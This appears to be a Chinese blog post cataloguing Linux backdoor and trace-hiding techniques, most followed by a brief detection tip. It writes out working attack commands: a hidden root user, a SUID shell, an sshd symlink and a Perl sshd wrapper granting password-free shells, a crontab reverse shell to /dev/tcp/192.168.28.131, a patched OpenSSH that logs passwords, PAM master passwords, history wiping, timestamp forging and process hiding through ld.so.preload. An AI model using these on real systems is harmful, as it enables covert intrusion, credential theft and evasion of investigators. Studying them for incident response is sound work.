Cobalt Strike进程注入

选择进程,点击inject,随后选择监听器,点击choose,即可发现Cobaltstrike弹回了目标机的一个新会话,这个会话就是成功注入到某进程的beacon。

 

 

Window后门排查:利用process monitor捕捉通信过程,有规律的请求取决于sleep设置的间隔。

 Linux

1、一句话添加用户和密码

添加普通用户:

# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
​
# useradd -p 方法  ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest
    
# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd
    
# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test

添加root用户:

# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test

可疑用户排查技巧:

# 查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

2、SUID Shell

Suid shell是一种可用于以拥有者权限运行的shell。

配合普通用户权限使用
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell

使用guest用户登录就可疑获取root权限。

 

备注:bash2针对suid做了一些防护措施,需要使用-p参数来获取一个root shell。另外,普通用户执行这个SUID shell时,一定要使用全路径。

排查技巧:

# 在Linux中查找SUID设置的文件
find . -perm /4000 
# 在Linux中查找使用SGID设置的文件
find . -perm /2000
# 取消s权限
chmod u-s /tmp/shell

3、ssh公私钥免密登录

在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。

客户端:

ssh-keygen -t rsa

过程中按三次回车,执行结束如下图:

 

进入/root/.ssh/文件夹,查看文件夹的内容,如下所示:

 

其中 id_rsa为私钥,id_rsa.pub为公钥,接下来打开id_rsa.pub,将内容复制到服务器。将id_rsa.pub的内容追加到/root/.ssh/authorized_keys内,配置完成。

排查技巧:查看/root/.ssh/authorized_keys是否被修改。

4、软连接

在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0即root权限即可成功认证登陆。通过软连接的方式,实质上PAM认证是通过软连接的文件名 /tmp/su/etc/pam.d/目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以。

在目标服务器上执行一句话后门:

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888

执行完之后,任何一台机器ssh root@IP -p 8888,输入任意密码,成功登录。

排查技巧:进程、端口都可以发现异常, kill -s 9 PID 结束进程即可清除后门。

5、SSH wrapper

首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell

简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。

服务端:

cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

客户端:

socat STDIO TCP4:target_ip:22,sourceport=13377
​
#如果你想修改源端口,可以用python的struct标准库实现。其中x00x00LF是19526的大端形式,便于传输和处理。
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A

 

排查技巧:

# ls -al /usr/sbin/sshd
# cat /usr/sbin/sshd
可通过重装ssh服务恢复。

6、strace后门

通过命令替换动态跟踪系统调用和数据,可以用来记录用户ssh、su、sudo的操作。

#vim /etc/bashrc
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
# source /root/.bashrc

 

排查技巧:使用alias即可发现异常。

 

7、crontab反弹shell

crontab命令用于设置周期性被执行的指令。新建shell脚本,利用脚本进行反弹。

a、创建shell脚本,例如在/etc/evil.sh

#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/12345  0>&1

chmod +sx /etc/evil.sh

b、crontab -e 设置定时任务

#每一分钟执行一次
*/1 * * * * root /etc/evil.sh

重启crond服务,service crond restart,然后就可以用nc接收shell。

 

排查技巧:

# 查看可疑的定时任务列表
crontab -e

8、openssh后门

利用openssh后门,设置SSH后门密码及root密码记录位置,隐蔽性较强,不易被发现。

a、备份SSH配置文件
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
​
b、解压并安装补丁
tar zxf openssh-5.9p1.tar.gz
tar zxf openssh-5.9p1.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff  /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff
​
c、记录用户名和密码的文件位置及其密码
vi  includes.h
    #define ILOG "/tmp/1.txt"             //记录登录本机的用户名和密码
    #define OLOG "/tmp/2.txt"             //记录本机登录远程的用户名和密码
    #define SECRETPW "123456789"          //后门的密码
​
d、修改版本信息
vi version.h
    #define SSH_VERSION "填入之前记下来的版本号,伪装原版本"
    #define SSH_PORTABLE "小版本号"
    
e、安装并编译
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make clean
make && make install
service sshd restart
​
f、对比原来的配置文件,使配置文件一致,然后修改文件日期。
​
touch -r  /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r  /etc/ssh/sshd_config.old /etc/ssh/sshd_config
​
g、清除操作记录
export HISTFILE=/dev/null
export HISTSIZE=0
echo >/root/.bash_history //清空操作日志

排查技巧:利用strace找出ssh后门.

# 1、获取可疑进程PI
ps aux | grep sshd
# 2、跟踪sshd PID
strace -o aa -ff -p  PID
# 3、查看记录密码打开文件
grep open sshd* | grep -v -e No -e  null -e denied| grep  WR
​

9、PAM后门

PAM (Pluggable Authentication Modules )是由Sun提出的一种认证机制。它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。PAM最初是集成在Solaris中,目前已移植到其它系统中,如Linux、SunOS、HP-UX 9.0等。

利用方法:

1、获取目标系统所使用的PAM版本,下载对应版本的pam版本
2、解压缩,修改pam_unix_auth.c文件,添加万能密码
3、编译安装PAM
4、编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即可使用万能密码登陆,并将用户名密码记录到文件中。

排查技巧:

# 1、通过Strace跟踪ssh
ps axu | grep sshd
strace -o aa -ff -p PID
grep open aa* | grep -v -e No -e null -e denied| grep WR
# 2、检查pam_unix.so的修改时间
stat /lib/security/pam_unix.so      #32位
stat /lib64/security/pam_unix.so    #64位

10、rookit后门

Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。

利用方法:安装完成后,使用ssh 用户@IP -P 配置的端口,即可远程登录。

连接后的截图:

 

排查技巧:查看端口是否异常,RPM check查看命令是否被替换。

1 处理隐藏文件

攻击者在获取服务器权限后,会通过一些技巧来隐藏自己的踪迹和后门文件,本节介绍Linux下的几种隐藏技术。

Linux 下创建一个隐藏文件:touch .test.txt

touch 命令可以创建一个文件,文件名前面加一个 点 就代表是隐藏文件,如下图:

一般的Linux下的隐藏目录使用命令ls -l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令:ls -al

这里,我们可以看到在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。如/temp/.ICE-unix/、/temp/.Test-unix/、/temp/.X11-unix/、/temp/.XIM-unix/

2 隐藏文件时间戳

Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。

比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。

利用方法

touch -r index.php webshell.php

或者直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。

touch -t 1401021042.30 webshell.php

3 隐藏权限

在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。

这个技巧常被用在后门,变成了一些难以清除的后门文件,令很多新手朋友感到头疼。

chattr +i evil.php 锁定文件
lsattr  evil.php   属性查看
chattr -i evil.php 解除锁定
rm -rf 1.evil.php  删除文件

 

4 隐藏历史操作命令

在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?

技巧一:只针对你的工作关闭历史记录

[space]set +o history
备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。

上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。

要重新开启历史功能,执行下面的命令:

[Space]set -o history
它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。

技巧二:从历史记录中删除指定的命令

假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:

history | grep "keyword"

输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:

history -d [num]

这种技巧是关键记录删除,或者我们可以暴力点,比如前150行是用户的正常操作记录,150以后是攻击者操作记录。我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前150行:

sed -i '150,$d' .bash_history

5 隐藏远程SSH登陆记录

#隐身登录系统,不会被w、who、last等指令检测到。

ssh -T root@127.0.0.1 /bin/bash -i

不记录ssh公钥在本地.ssh目录中

ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i

6 端口复用

通过端口复用来达到隐藏端口的目的,在Linux下,如何实现端口复用呢?

第一种方式:通过SSLH在同一端口上共享SSH与HTTPS

 #安装SSLH
 sudo apt-get install sslh
 #配置SSLH
 编辑 SSLH 配置文件:
 sudo vi /etc/default/sslh
 1、找到下列行:Run=no  将其修改为:Run=yes
 2、修改以下行以允许 SSLH 在所有可用接口上侦听端口 443
 DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"

第二种方式:利用IPTables进行端口复用

# 端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

利用方式:

#开启复用
echo threathuntercoming | socat - tcp:192.168.28.128:80
#ssh使用80端口进行登录
ssh -p 80 root@192.168.28.128
#关闭复用
echo threathunterleaving | socat - tcp:192.168.28.128:80

 

具体文章详见:远程遥控 IPTables 进行端口复用

7 进程隐藏

管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。

第一种方法:libprocesshider

github项目地址:https://github.com/gianlucaborello/libprocesshider

利用 LD_PRELOAD 来实现系统函数的劫持,实现如下

# 下载程序编译
git clone https://github.com/gianlucaborello/libprocesshider.git
cd libprocesshider/ && make
# 移动文件到/usr/local/lib/目录下
cp libprocesshider.so /usr/local/lib/
# 把它加载到全局动态连接局
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

测试:运行 evil_script.py,

此时发现在top 与 ps 中都无法找到 evil_script.py, cpu 使用率高,但是却找不到任何占用cpu高的程序。

 

如何在Linux中发现隐藏的进程,

unhide 是一个小巧的网络取证工具,能够发现那些借助rootkit,LKM及其它技术隐藏的进程和TCP / UDP端口。这个工具在Linux,UNIX类,MS-Windows等操作系统下都可以工作。

下载地址:Unhide homepage - Welcome

# 安装
sudo yum install unhide
# 使用
unhide [options] test_list

使用unhide proc发现隐藏进程evil_script.py,如下图所示:

 

第二种方法:进程注入工具linux-inject

linux-inject是用于将共享对象注入Linux进程的工具

github项目地址: GitHub - gaffe23/linux-inject: Tool for injecting a shared object into a Linux process

# 下载程序编译
git clone https://github.com/gaffe23/linux-inject.git
cd linux-inject && make
# 测试进程
./sample-target
# 进程注入
./inject -n sample-target sample-library.so

验证进程注入成功,如下图所示:

Cymothoa是一款隐秘的后门工具。它通过向目标主机活跃的进程注入恶意代码,从而获取和原进程相同的权限。该工具最大的优点就是不创建新的进程,不容易被发现。

下载地址:https://sourceforge.net/projects/cymothoa/files/cymothoa-1-beta/

# 下载解压
wget https://jaist.dl.sourceforge.net/project/cymothoa/cymothoa-1-beta/cymothoa-1-beta.tar.gz
tar zxvf cymothoa-1-beta.tar.gz 
# 
cd cymothoa-1-beta && make
​

提供安全建议

将事件根除之后,提供安全建议

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值